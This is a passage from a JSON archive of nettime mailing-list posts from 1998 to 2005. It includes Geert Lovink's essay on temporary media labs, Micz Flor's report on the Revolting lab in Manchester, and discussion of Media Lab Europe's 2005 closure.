smiles\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "id": "00261",
                "date": "Tue, 16 Jan 2001 05:43:59 +1100 (EST)",
                "to": "7-11@mila.ljudmila.org, list@rhizome.org, nettime-l@bbs.thing.net",
                "message-id": "20010115184359.C2BFF2BC81@mail.hotkey.net.au",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0101/msg00261.html",
                "list": "nettime_bold",
                "author_name": "mez",
                "subject": "[Nettime-bold] _                                    _       26..09..97[network13]"
            }
        ],
        "desc": "..."
    },
    "Media Lab": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "\"geert lovink\" <geert {AT} xs4all.nl>",
                "id": "00041",
                "content": "\nThe Importance of Meetspace\nA Manual for Temporary Media Labs\nBy Geert Lovink\n\nThe idea of a temp media lab, situated within an existing event, museum,\nor similar institution originates from dissatisfaction with the current\nforms that presentations of media projects typically take during\nconferences and other public events. Exhibiting webpages still does not\nmake much sense: their lively, layered complexity gets lost. Even the\ninteractive installation is not the proper medium to express net.works. In\nprevious years much has been done to introduce new media to an\never-growing audience. But the networks themselves, their mysterious and\nseductive aspects, remained invisible. It is hard to represent or even\nvisualize what is actually happening on a mailinglist, a newsgroup, a\nchatroom. Demo-design can give us a clue, but it remains soulless, empty\nand too easily turns flows and exchanges into dead information. Now that\nthe varieties of virtual communities are growing, it is no longer enough\nto merely announce their existence. People demand substance--not only\noutsiders but, most of all, the members of the groups themselves.\n\nThe best way to speed up the process of production is to meet in real\nspace, to confront the loose, virtual connections, to engage in the\ncomplex and messy circumstances of real time-space, to and present the\naudience (and possible future participants) with actual outcomes. And then\ngo back again, in scattered places, on-line.\n\nNew media are not merely storing the old. They do not only give access to\nexisiting information. Their most lively and attractive aspect lies in\ntheir apect of communication, collaboration, and exchange. This is the\nessence of today's computer networks. Large media corporations, on the\nother hand, view these innovations differently. For today's virtual class,\nnew media merely offer new ways of electronic commerce and e-business,\neffeciency, and flexibilization of the labor force and control over the\non-line behavior of the masses. The role of the former welfare state is\nambivalent, to say the least. On the one hand, it was the state which did\nthe groundwork and built the costly infrastructure, while this very state\nnow is selling out, cutting social costs to zero, installing a new regime\nof (private) control, and policing its populations (mainly young people).\nCommunication means noise to them, empty exchanges that can be studied\nto maximize their attention profit. Users are being reduced to potential\nbuyers of goods and services, controlled by companies and police units.\n\nThis is not a doomsday scenario. It is becoming a reality, despite all\nnaive, neoliberal talks of bright cyberfutures, dating from the early days\nof the Internet hype. People are indeed becoming aware of this dark\naspects of the use of digital technologies. One way not to give up on\nthese positive, utopian aspects is to increase awareness, to fight\nconspiracy mythologies, and, most of all, to organize scattered users in\nthe struggle against surveillance and corporate takeover. Should we still\ndream of interactivity and other, more accessible interfaces? Access to\nwhat? Are portals with the CNN type of WebTV the only remaining option\nnow that the Net is rapidly approaching its controlled and regulated status\nof mass medium? And is this return of the real closing down our phantasies?\nHow would we define tactical use of media? Which particular connections\nbetween text, audio, image (and noise) do we find useful? In what way\ncould radio, Internet, print and real-time/on-line events be combined?\n\nThe idea of temporary media labs were born of the desire to cover events,\nconferences, festivals, and demonstrations in search of a specifically\nInternet style of reporting. We could mention here some early examples,\nsuch as the live web journals produced during Next Five Minutes 2 and 3\n(www.n5m.org), the Ars Electronica festivals since 1996 (www.aec.at), the\nEuro-protests in Amsterdam, June 97 (www.contrast.org), or the hackers'\ngathering Hacking in Progress in August 1997 (www.hip97.org). The format\nof the on-line journal is trying to bridge the real and virtual by\nbuilding-in interactive elements between on-line audiences and the actual\nsite. Web journals are exploring unusual ways of reporting, with image,\nsound and text, allowing remote participation, before, during, and after\nthe event. These days web journals are almost standards for all sorts of\ncorporate events, intergovernmental meetings and global summits, \nconferences and fairs. The websites of such live events now all go with\nstreaming media features, with image and/or sound.\n\nThe Temporary Media Lab concept goes one step further. It no longer covers\nan ongoing event but, instead, targets the hands-on production of content\nin and around an already-exisiting group or network of groups and\nindividuals. It is patently clear that networks are good at discussing and\npreparing but not at actual production--that has to be done on the spot,\nface-to-face. Only in this setting can we overcome the tensions that so\neasily build up in virtual worlds and, thereby, produce small multimedia\npieces together using available resources.\n\nConferences are known and respected as effective accumulators and\naccelerators. They offer ideal opportunities to recharge the inner\nbatteries in the age of short-lived concepts. Temporary media labs are\neven more effective in this respect: they focus, speed up, intensify, and\nexert a longer-term effect on local initiatives and translocal groups.\nMeetings in real space are becoming a more and more precious good for\nthe way they add a crucial stage to almost any networked media projects,\nwhether in the arts, culture, or politics. Unlike conferences, though, the\nrole of the (passive) audience remains open yet undefined. As with any\nother concept, the broader public will be confronted with the issue\nanyway, sooner or later. Temporary media labs are experimenting with\nsocial interfaces, visual languages, and cultural/political processes.\nThough the immediate outcomes can be presented at the end of the session,\nthe real impacts of such small task forces, perhaps, only comes later,\nelsewhere.\n\nHybrid WorkSpace (HWS), which took place during the 1997 Documenta X\nin the Orangerie in Kassel, went on for a three-and-a-half-month period; it\nreceived an impressive share of the 620.000 visitors who came to the\nevent. Fifteen groups stayed for a ten-day period each; among those groups\nwere the German Innercities campaign, No One is Illegal, We Want Bandwidth\n(www.waag.org), some audio initiatives (which later turned into the\nXchange real-audio/net.radio network: www.re-lab.net), loosely affiliated\nor unaffilated tactical media practitioners involved in focussing on\nglobal media (www.n5m.org), the Deep Europe/Syndicate group from former\nEastern Europe (www.v2.nl/east), a group preparing the nettime _README!_\nbook, which has now been published (www.nettime.org), and finally the\nfirst Cyberfeminist International, which brought out their own\ndocumentation (www.obn.org). The documentation of the Workspace can be\nfound at www.medialounge.net. Medialounge is a database of 250 small\nEuropean media art labs, a result of Hybrid Workspace and other meetings\nin which bottom-up networks of European new media culture is being\ncreated.\n\nThe Revolting Temporary Media Lab in Manchester, which took place for five\nweeks in August/September 1998, has been a follow up of HWS. Revolting,\norganized by Micz Flor (www.yourserver.co.uk) took place in very different\nsocial environment, compared to Kassel, away from the big art crowds. It\nhad a similar mix of people, themes, and low-tech approaches. It brought\ntogether local groups and communities to focus on practical outcomes,\nsmall presentations, and debates. Revolting had a special emphasis on\nspreading specific content via different media, such as a regular free\nnewspaper, local radio, and the Net.\n\nThe third Temporary Media Lab took place in the project space on the\nfifth floor of the Kiasma, the Helsinki contemporary arts museum, which\nopened in June 1998. The media lab went on for five weeks (october/\nnovember 1999 The name TEMP is a reference to the TEMPOLAB\nmeeting in the Kunsthalle Basel (June 98), a closed session of a\ndistant though neighboring tribe, the global contemporary arts scene,\ncurated by Clementine Deliss. It is of course also reference, and tribute,\nto Hakim Bey's Temporary Autonomous Zones, a reminder that revolts of\nanger and desire, of passionate bodies and souls, remains an option,\ndespite the overall victory of global capitalism.\nFive groups each worked on five different topics (www.kiasma.fi/temp).\nFirst came a newly formed European network of groups working on\nissues of refugees and illegalized emigrant workers. The group organized\nand coordinated the demonstration held in Tampere during the Euro\nsummit on this delicate political topic (see: www.contrast.org/border).\nIn december this group again gathered in Amsterdam where this network\nwas officially founded, with participants from even more countries.\nBalkania was the name of the second gathering. Twenty media artist\nfrom South-East Europe discussed the situation in their region after the\nKosov {AT}  conflict and drew (negative) utopian images to bypass the\ncurrent dramatic situation in the Balkans. The third, all Finnish group\nfocussed on the technology policies in Finland itself. \"Nokia Country/\nLinux Land\" dealt with the growing power of this telecommunications\ngiant on the one hand, and a free operating system on the other. What\ninfluence is Nokia have on the ever shrinking  welfare state? And is\npower really challanged with the introduction of open source software\nsuch as Linux, which originates in Finland? During the fourth group\na Nordic/Scandinavian/Baltic network of media labs and media arts\ninstitutions was created, with a special emphasis in the program on the\ndifficult situation in Belarus. Two events marked the closing of temp:\na one day conference on the urban condition in Asia, organized in\nconjunction with the opening of the Cities on the Move exhibition in\nthe same Kiasma building, and an environmental web-base game,\nopen for public participation. Temp finished with a small exhibition\nof the results.\n\nTo close with, some general remarks. Some groups and individuals\nare making a good use of the facilities on offer, others do so in a\nlesser way. So what?  The temp media lab concept is not an army\nsetup or a content factory. It is just a model, connected to similar\ninitiatives and situations, such as the Polar Circuit in Lapland\nANAT's summerschools in Australia, the recent workshop in\nLjudmila (Slovenia) of Virtual Revolution and obviously Oreste\nat the Venice Bienale of 99. Digital media arts and culture are\nall in a flow. Our social networks are unstable media and the\noutcomes are hard to predict in the short run.  But I am convinced\nthat temp media labs are a strong motor behind the networks of\ndigital culture we all envision. The temporary, local truth has\nmade it worth the effort to organise such events. Time and time\nagain, until the format runs out of energy and we all know, by\nintuition, how to set up networks, servers, sites - and most of\nall: how to deal with the all too human flaws in communication.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Sat, 8 Jan 2000 17:05:20 -0800",
                "to": "<nettime-l {AT} bbs.thing.net>",
                "message-id": "200001082136.QAA09090 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0001/msg00041.html",
                "list": "nettime_l",
                "author_name": "geert lovink",
                "subject": "<nettime> The Importance of Meetspa"
            },
            {
                "content-type": "text/plai",
                "from": "icz flor <micz {AT} yourserver.co.uk>",
                "id": "00047",
                "content": "\nRe:port: MANCHESTER'S TEMPORARY MEDIA LAB: REVOLTING\n         http://www.yourserver.co.uk/revolting/\n         15th Aug - 20th Sep 98\n\nWhat is happening in Manchester, UK? This summer the post-industrial city\nin the North-West of England hosted the temporary media lab Revolting.\nPossibly a bit late for the fast serving mailinglist. A personal but\nvaluable starting point for me to snoop around the context within which\nRevolting was placed...\n\n-----\n\nINTRO\t\nTHE CENTRE AND THE MONUMENT: BUILDING THE UK\t\nSUPER! A MEDIA LAB!\t\nON A MORE REVOLTING NOTE\t\n        REVOLTING AND THE REVOLUTION\t\n        THE PERIPHERY NEEDS REAL-TIME-ARCHIVISTS\t\n        COMPROMISED EXHIBITION PRACTICE: THE SMUDGY CUBE\nCULTURAL INDUSTRIES VERSUS CULTURE : MANCHESTER\t\nREVOLTING PARTICIPANTS\t\nMANCHESTER LINKS\t\n\n-----\n\nINTRO\n\nAt the opening of the Revolting temporary media lab you would encounter\nlittle more than a crowded bar area, two empty shelves, the Revolting\nnewsletter (tabloid format) a set of 60s sofas and the subtle electronic\ntracks of Berlin's trax tv. No (media) art on display - wait, some people\nmistook the Flying Toasters screensaver projections for an installation\nwork and subsequently must have thought: this is bad art. But nobody said\nanything.\n\nBetween the 15th August and the 20th September 1998 the empty shelves got\nfilled with material: photocopies, videos, slides, audio tapes,\nphotographs, print outs. And the web site incrementally raised its content\nindex, now supplying over 10 hours of sound files, scans, texts, graphics,\nlinks, messages. The revolting FM transmitter on 106.5FM lifted most of the\ncontent on-air and the coffee machine in the bar area must have produced\ngallons of content itself. More info on the projects can be found on the site.\n\nTHE CENTRE AND THE MONUMENT: BUILDING THE UK\n\nRemaining temporary, the Revolting laboratory should be seen in direct\nopposition to the trend of media centres as they grow throughout the UK\nthese days. According to plan, over 50 'centres' might be built throughout\nthe next ten years. Start counting the cities you know and wonder where the\nremaining 40 centres will be built - and being a centre in relation to\nwhat? The reasons for this media centre epidemic are multi-layered.\nEuropean policy wants to support the development of media centres, and\nwhere policy goes, money follows. EU policy believes that computers do\ngood. They allegedly breed education, skills, jobs, humanity, ... name it.\nAnd the current structure of UK's capital funding (see also lottery money)\nsupports the accumulation of money in order to construct or convert buildings.\n\nThe temporary media laboratory critically reflects on this believe in the\ncentre and the building. When it comes to independent media production it\nis obvious that there are peripheries. In fact most of the appeal for the\ncentres to exhibit, invite or imbibe smaller media effects derives from the\nattraction of the diverse, the distance between the centre and the\nperiphery. Such projects can remain light like a feather, whereas the\ncentre in many cases will eventually (and I guess 10 years is already a\nconservative estimate) be vacant monuments of the turn of the millennium.\n\nInstead of falling into the trap of building, equipping and running a\ncentre, Revolting aimed to create a temporary density of activities and\ntheoretical discourse in the North-West of the UK. Accepting that a media\nlab will always be flavoured by the Zeitgeist within which it is\nconstituted requires temporary solutions.\n\nSUPER! A MEDIA LAB!\n\nToday, the media lab is a media phenomenon. You can find them everywhere\nand they might well be looked upon as the 90s version of collectives or\ncommunes; political and artistic entities which might claim to be the last\nbastion of political consciousness within activism and art, after the\ngallery has long lost its outreach potential in terms of social change.\nHowever, even though the media lab seems to be a generalised stencil for\nmedia production, it is clear that the only unifying factor is the empty\ntechnological framework which allows to produce, archive and present media.\n\nAt the Art Servers Unlimited conference in London, July 1998, the most\nstriking outcome was the diversity with which those independent internet\ninitiatives need to be measured. In mere economic terms, the equation of\ncosts of space, equipment and workforce can function as a mapping device\nfor the socio-geographical location of such initiatives. Space is expensive\nin the West, especially in cities, equipment is comparably expensive in the\nEast - but space is less of a problem in the Lower East Side of Europe. In\nthe West workforce is generally expensive, as cultural production becomes a\nluxury article in richer societies. Still, the UK has a long tradition of\ncultural production funded by the dripfeed of unemployment benefit\n(something very novel but on the rise in Germany).\n\nAs the term Cultural Industries gains a currency on its own, it would be\ninteresting to explore the economic and social objectives of small (and\nindependent?) media labs. One crucial distinction which needs to be taken\nis the time span over which those entities function. The Revolting media\nlab was temporary and therefore removed from the financial and\npsychological maintenance struggle of ongoing initiatives. Production was\ncrucial, but exchange clearly the priority. \n\nON A MORE REVOLTING NOTE\n\nREVOLTING AND THE REVOLUTION\n\nThis years International Symposium of Electronic Arts (isea98) was held in\nManchester and Liverpool under the header of 'Revolution'. But let's be\nrealistic! A blockbuster electronic arts event-slash- symposium called\nRevolution is unrealistic. Still, it is anything but unexpected. Over the\nlast few years several trends have developed which - if followed through\nconsequently - make the appropriation of such a dramatic word for radical\nchange more understandable. Firstly, the momentum associated with the\nsocial uprising of the late 60s has been transformed into social\nromanticism and introduced deep into popular culture. Secondly, the\n'Digital Revolution' has been announced. The fashionable transfer of\nnotions of radical change from the sphere of the social sciences to those\nof technological advancement makes one question the reliability of the\nconcept of revolution as such. Finally, the battlegrounds of subversion\nhave allegedly re-located to the digital (and analogue) realms of networked\ntechnologies. Revolting hangs up on the Revolution Master Narrative and\ndials again.\n\nTHE PERIPHERY NEEDS REAL-TIME-ARCHIVISTS\n\nBeing temporary easily translates into being peripheral. And when talking\nabout the periphery we have to ponder concepts such as attendance,\naudience, the public. Just as well, based in Manchester throughout the\nsummer hole the concept of the lab always emphasised the importance of the\narchive. The live events, happenings, presentation in the space had two\naudiences. One on site and one on demand. Revolting produced over 18 hours\nof video material and the web page contains over 10 hours of audio\nmaterial. For a temporary media lab the archive is crucial and concepts\nsuch as 'the public attendance' need to be understood through networked\nmedia and distribution channels. Long live the real-time-archivists!\n\nTHE SMUDGY CUBE EXHIBITION PRACTICE\n\nWith a five week programme inviting international and local media players,\ntemporary also described the ongoing transformations of the Revolting\nspace. At times we had two presentations a day, especially throughout the\ntime where isea98 had it's 48 hours of academia based across the road at\nManchester Metropolitan University. This ongoing change was crucial to the\nflavour of Revolting. The foundation remained the same: a bar area, a\ncoffee machine, a kitchen, three Macs, VCRs, tapes, radio transmitters,\nslide projectors, beams, etc. - but the space became what the participants\nwould make of it, sometimes disrupting the expectations with vigorous\nincisions.\n\nGiven the pace of the alterations and adjustments - creating a tea room,\nthen emptying the whole space for a performance, then installing half a\ndozen of video monitors, then building an auditorium for 40 people, then\nturning the space into a fanzine library - would set 'compromise' as a\ndefault value. As it turned out this backdrop of improvisation seemed\nrather adequate for most of the media works which presented themselves at\nthe space. Without getting caught up between the aesthetic imperatives of\nthe white cube and the process oriented nature of media activism, the\npresentations could focus on the essence of their work. Especially as the\nparticipants would generally be present to introduce and discuss the work,\nthe revolting context provided enough gravity to pull people towards the\nsubject matter.\n\nCULTURAL INDUSTRIES VERSUS CULTURE : MANCHESTER\n\nManchester is internationally known - that's for sure. Mainly for football,\ncricket and the industrial revolution and the presence of Marx and Engels -\nmuch later for Punk, then Rave, the Hacienda, Factory records, then came\nthe 90s and things went a bit quiet for a while. Recently a new selection\nif independent record labels have been set up and it generally believed\nthat the music culture is going up-hill again.\n\nManchester has the biggest student population in Europe (ask any private\ncab driver), but it needs to be said that this student population seems to\nbe superimposed onto the city, being its own economical entity, supplying\nbars, clubs, restaurants, accommodation, as a matter of fact whole parts of\nthe city with business.\n\nIf you believe the papers then Manchester is booming. Whole parts of the\ncity are under development. The Northern Quarter - for the past decades\nknown for its sweat shop fashion and sex industries has recently been\nrenamed the Creative Quarter. Artists moved in, city developers followed.\nSince the term Cultural Industries has been created for the UK, it doesn't\nmatter too much if you are an artist, designer or architect - at the bottom\nline you are a more or less successful entrepreneur. Almost any small\n(creative) enterprise has to evaluate itself in terms of economy: being a\nbusiness.\n\nToday Manchester is led by the new Manchester Men, architects, planners,\ndevelopers who are rebuilding and re-conceptualising the city. This\nre-thinking of scale and structure has a number of origins, the most\ndramatic one being the IRA bombing of the city centre in 1996. A whole\ncentral area is under redevelopment, aiming to increase commercial value of\nproperty which has previously been used by small business enterprises,\nwhich have been entirely wiped out of the centre with the blow. At this\nlevel, Manchester is run by business deals and politicians do little but\nshape the development of the facades.\n\nWhen it comes to the cultural developments currently underway, electronic\narts and media culture come into play. Substantial funding is being\nsupplied to the area. This money is sometimes targeted towards the\ndevelopment of small and medium enterprises. But the implications of the\nterm Cultural Industries works both ways. Not only do cultural initiatives\nhave to evaluate themselves economically, but also they are suddenly in a\nposition to receive money originally devoted for business development. Fab. \n\nUnder the cover of training schemes and access courses a series of\ninitiatives have been set up to facilitate the area with possibilities and\nsupport structures. The focus varies from commissioning art, supplying\nstructures, set up training or access schemes, network people or simply\ngenerate ideas or give space.\n\nKey players in the North-West area of the UK are (in alphabetical order)\nthe Foundation for Arts and Creative Technology (FACT, which also organised\nthe art programme of isea98), Innovation in Design and Electronic Arts\n(IDEA, a group of artists who also run a number of training and access\ncourses and own the Deaf And Dumb Institute at which Revolting was located)\nand The Manchester Telematics and Teleworking Society (MTTP, who are in\npartnership with many electronic village halls throughout the city and\ndevelop a network for micro and small enterprises).\n\nSpace: the last frontier... Technology plays a crucial role in the\ndevelopment of the cultural mindframe of Manchester. If you look at the\nlabel culture and the raves of the late 80s it becomes obvious that\nManchester always managed to marry independent entrepreneurial production\nand cultural profiling. With the increase in city development and the\nsubsequent decline of available spaces, small technological networks might\npresent an opportunity to escape the corporate feel of urban regeneration.\n\nThe Deaf and Dumb Institute (DADI building) of IDEA could provide\nManchester with such a network, also FACT will start working on a media\ncentre and the development of a Merseyside Network in Liverpool in 99 to\nfacilitate the diverse cultures with a network and public access terminals.\nOnce outside London, the idea of private funding for cultural developments\nis a bit of a joke. Hopefully Universities and public institutions will\noffer their redundant resources to facilitate independent groups, but art\norganisation and funding play a crucial role in the process of\nfacilitating. North of the city centre, on the border to Salford an old\nfactory building is underway to become an independent mixture of studio,\nmeeting, and exhibition space and a small media lab entity: From Space (on\na mailing list near you in early 99). \n\nMicz Flor\n\n[Manchester, Oct98]\n\nSpecial thanks to Andy Lovatt from the Manchester Institute of Popular\nCulture for his Manchester specific input, thanks to Graham Parker, Laurie\nPeake and Simon Robertshaw. And standing ovations to Tosh Ryan for being\nhimself and everywhere and in places where nobody else dares to go...\n\nREVOLTING PARTICIPANTS\n\nAurora Universalis - Makrolab Mission (Stephen Kovats, Nina Czegledy &\nMarko Peljhan); Backspace; Biotech Hobbyist Magazine (Heath Bunting &\nNatalie Jeremijenko); Bit Plane (Bureau of Inverse Technology); Black Arts\nAlliance (Black Arts Alliance); Black Women's Guide to Europe (Liverpool\nBlack Sisters); Community Media & Black Activism (Black Multimedia Arts\nCollective); Martin Conrads; DeepDish TV (DeeDee Halleck); Die Kunst;\nDigital Artisans (Richard Barbrook); Electronic Pulse Systems (Ricardo\nDominguez); Micz Flor; Dio d'Angelo; Global Bedroom Communications (Fanzine\nCulture compiled by Graham Clayton-Chance); Hypermedia Research Centre;\nInfopool (K3000 - special guest: Shedhalle Zurich); Manchester Area\nPsychogeographics (Bob Dickinson); Million Youth March (Million Youth\nMarch); Museum of Modern Strategy (Miguel Leal, Cristina Mateus); Net,\nRadio & Streaming Media (Gio D'Angelo & friends); on-air, on-web, on-site\n(convex tv.); Poets Get Paid (Poets Get Paid); Recognising (V.Barbul,\nA.Davic, V.Midic, B.Milicic-Davic); Redundant Technology Initiative (James\nWallbank & friends); Natascha SadrHaghighian; Soaps Around The World\n(dogfilm); Soft, Warm And Secluded (Florian Zeyfang, et.al.); Tactical\nMedia (Geert Lovink); Teens Talk Revolution (Jamika Ajalon in collaboration\n[see page]); Vera Tollmann; Virtual Migrants (Kuljit Chuhan); Virtual\nRevolutions (various, see page for list of artists); volte-face (luxus\ncont.); Waiting Area / Ejector Seat (monitor 007); What About Communication\nGuerrilla ? (autonome a.f.r.i.k.a. gruppe, L. Blisset, S. Bruenzels)\n\nVirtual Revolutions was a collaboration with Revolting. More info:\nhttp://www.yourserver.co.uk/vr/\n\nRevolting was operated by Martin Conrads, Micz Flor, Natascha\nSadrHaghighian, Vera Tollmann and Florian Zeyfang, organised by Micz Flor.\nThe Revolting web architecture was developed by Gio D'Angelo, the project\nwas assisted by Vera Tollmann and editorially supported by Graham Parker.\nRevolting was hosted on-line by lovely.net and on-site by IDEA. Additional\nkey funders were the Arts Council of England, University of Salford and FACT.\n\nMANCHESTER LINKS (ALPHABETICAL ORDER):\n\nThe Annual Programme\n   http://www.theannualprogram.com/\nArts About Manchester\n   http://www.aam.org.uk/\nCornerhouse\n   http://www.aam.org.uk/venues/corner.html\nCrash Media\n   http://www.yourserver.co.uk/crashmedia/\nCyberia\n   http://www.manchester.cyberiacafe.net/\nDigital Summer 98\n   http://www.ds98.org/\nFoundation for Art & Creative Technology\n   http://www.fact.co.uk/\ngeek (e-zine)\n   http://www.geek.co.uk/\nGreen Room\n   http://www.u-net.com/set/greenroom/\nInnovation in Digital and Electronic Arts (IDEA)\n   http://www.idea.org.uk/\nManchester Institute of Popular Culture\n   http://www.mmu.ac.uk/h-ss/mipc/\nManchester Online\n   http://www.manchesteronline.co.uk/\nManchester Telematics & Telework Partnership (MTTP)\n   http://www.mttp.net.uk/\nNorthern Quarter Network\n   http://www.nqn.org.uk/\n\n\nMicz Flor [micz {AT} yourserver.co.uk]\n\n\n                           http://www.yourserver.co.uk/revolting\n                           http://www.yourserver.co.uk/crashmedia\n-----------------------------------------------------------------\n[t/f]+44.151.7092663 [t]+44.161.2956157 [a]http://www.art-bag.net\n[b]http://www.yourserver.co.uk [c]http://www.metamute.com\n[q] \"There is no administrative production of meaning.\"\n-----------------------------------------------------------------\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "date": "Sun, 22 Nov 1998 20:03:09 +0000",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199811231713.SAA25115 {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9811/msg00047.html",
                "list": "nettime_l",
                "author_name": "micz flor",
                "subject": "<nettime> Re:port: Manchester/UK/Revolting"
            },
            {
                "id": "00052",
                "content": "\n[what does this tell us about the media lab model? aside from the\nhype-economy that attends the media lab & the ultimate disinterest by\ngovernment to invest in institutions of the knowledge economy, does\nthis also say something about the limits of scale?  is there a lesson\nhere for networks that seek to scale up their operations -- ie, develop\nframeworks, systems, relations that enable an economic sustainability\nthat hitherto has not been a feature of tactical media, by and large? \nNed]\n\n\n\nhttp://www.medialabeurope.org/news/release.php?id=3D76\n\nPRESS RELEASE\n14 January 2005\n\nBoard of Directors announces closure of Media Lab Europe\n\nMedia Lab Europe Press Statement\n\n  Dublin; January 14 - The Board of Directors of Media Lab Europe\nannounced today that it is putting the company into voluntary solvent\nliquidation.\n\n  The decision was taken because its principal stakeholders - the Irish\nGovernment and the Massachusetts Institute of Technology (MIT) =96 have\nnot reached agreement on a new funding model for the organisation.\n\n  Media Lab Europe was launched in 2000 as a ground-breaking research\nand innovation laboratory in the fields of digital technologies. Since\nits establishment, it has built up expertise in a range of innovative\nresearch. It grew to a community of around 100 people, covering staff,\nresearchers, students, collaborators and part-time undergraduate\nstudents.\n\n  A substantial array of projects, many of truly ground-breaking\npotential, have been developed over the past four years in association\nwith its partners including companies like AIB (Ireland) AOL (US and\nIreland), BT (UK), Ericsson (Sweden), Essilor (France), Intel (US and\nIreland) and Orange (UK/France), and development agencies like\nHighlands and Islands Enterprise in Scotland.\n\n  The Board believes that it is important to acknowledge the innovative\nwork of the Lab since it was established. Much of this work has been\ncoming to fruition in recent months, with fourteen patent applications\nfiled and a number of commercialisation opportunities being explored.=\n\n\n  Media Lab Europe was pleased with the introduction of MIT's Masters\ndegree programme in Media, Arts and Sciences to Ireland.\n\n  There have been over 20 collaborative projects with Irish universities\nunder way where faculty and students from the university collaborate\nwith Media Lab Europe researchers, with activity taking place at both\ncentres. This provided a number of Irish third-level institutes with\nexposure to MIT innovation.\n\n  The Lab also participated in a number of EU-funded international\nresearch collaborations, including FASIL (Flexible and Adaptive Spoken\nLanguage and Multi-Modal Interfaces) and a Network of Excellence called\nENACTIVE, under the EU IST Priority heading =93Multimodal Interfaces=94.\n\n  Initial funding for the lab came from the Irish Government and it was\nexpected to gradually become self-financing through securing corporate\nfunding for its research activities. However, the climate of the = past\nfour years has proven extremely difficult for the lab, MIT and the\ninternational ICT sector.\n\n  Last year the Lab advised its main stakeholders that the levels of\nexternal funding being raised were insufficient to sustain it into the\nfuture. Subsequently, in May, it presented a Strategic Plan to the\nGovernment and MIT seeking additional funding.\n\n  The Board would like to record its appreciation of the special\ndedication and outstanding contribution made by the Lab's staff, who\nhave contributed so much over the organisation's relatively short\nhistory. Many of the staff came to Ireland from all over Europe and the\nUS to take up positions with the laboratory.\n\n\n  For more information, please contact\ncommunications {AT} medialabeurope.org.\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0501/msg00052.html",
                "list": "nettime_l",
                "author_name": "Ned Rossiter",
                "subject": "<nettime> closure of Media Lab Europ",
                "from": "Ned Rossiter <n.rossiter {AT} ulster.ac.uk>",
                "follow-up": [
                    {
                        "from": "\"E. Miller\" <subscriptionbox {AT} squishymedia.com>",
                        "content": "\nthis is a great question.  and not just for tactical media; look at, say,\nthe pharmaceutical industry (no hissing, please) where one could argue that\nthe decades-long erosion of institutional support for longer-term research\nand the focus on short-term profits has resulted in a dysfunctional R&D\nenvironment -- profitable in the short term, but with a lack of new viable\ndrugs in the pipeline.\n\nSo maybe the whoring-like behavior that's necessary to secure corporate\nfunding is starting to show its limitations.  But conversely, staying small\nand independent can only allow so much scope and reach for organizations;\nyou can pursue a vision a lot further with 200 people and a few million in\nfunding than you can with 2 people and $20.\n\nEric\n\n\nOn 1/19/05 5:27 AM, \"Ned Rossiter\" <n.rossiter {AT} ulster.ac.uk> wrote:\n\n> [what does this tell us about the media lab model? aside from the\n> hype-economy that attends the media lab & the ultimate disinterest by\n> government to invest in institutions of the knowledge economy, does\n> this also say something about the limits of scale?  is there a lesson\n> here for networks that seek to scale up their operations -- ie, develop\n> frameworks, systems, relations that enable an economic sustainability\n> that hitherto has not been a feature of tactical media, by and large?\n> Ned]\n> \n> http://www.medialabeurope.org/news/release.php?id=3D76\n <...>\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                        "id": "00055",
                        "date": "Wed, 19 Jan 2005 08:52:02 -0800",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "E1CrSv4&#45;0006oN&#45;RT {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0501/msg00055.html",
                        "content-type": "text/plai",
                        "author_name": "E. Miller",
                        "subject": "Re: <nettime> closure of Media Lab Europ"
                    },
                    {
                        "from": "Newmedia {AT} aol.c",
                        "content": "\nNed:\n\nAs someone who has been involved with all this for quite while, I'd offer \nthat the \"model\" for the Media Lab was already obsolete in US in the 1990's -- \nwhich is why they tried to expand into \"less mature\" geographies by using the \nInternet bubble to bootstrap themselves into Ireland, etc.  When that bubble \ncollapsed -- as I suggested it had to throughout my early involvement with \nnettime starting in 1996 -- they had no chance.\n\nMore constructively, you might consider the distinction between finance and \nindustrial capital that I introduced in the open session at nettime's final \n\"convention\" in 1997 in Ljubljana during an exchange with Peter Lamborn Wilson \n(aka Hakim Bey.)   \n\nFor a fuller discussion of some of the implications of this distinction and \nthe relationship to the various phases of a Kontradiev \"Long Wave,\" you might \nwant to read Carlota Perez' 2002 \"Technological Revolutions and Financial \nCapital.\"\n\nIn the current \"synergy\" phase (2005-2020) of building out a new \n\"techno-economic paradigm\" -- when industrial capital takes over from finance capital -- \nwho needs the Media Lab?\n\nBest,\n\nMark Stahlman\nNew Media Laboratory\nNew York City\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a 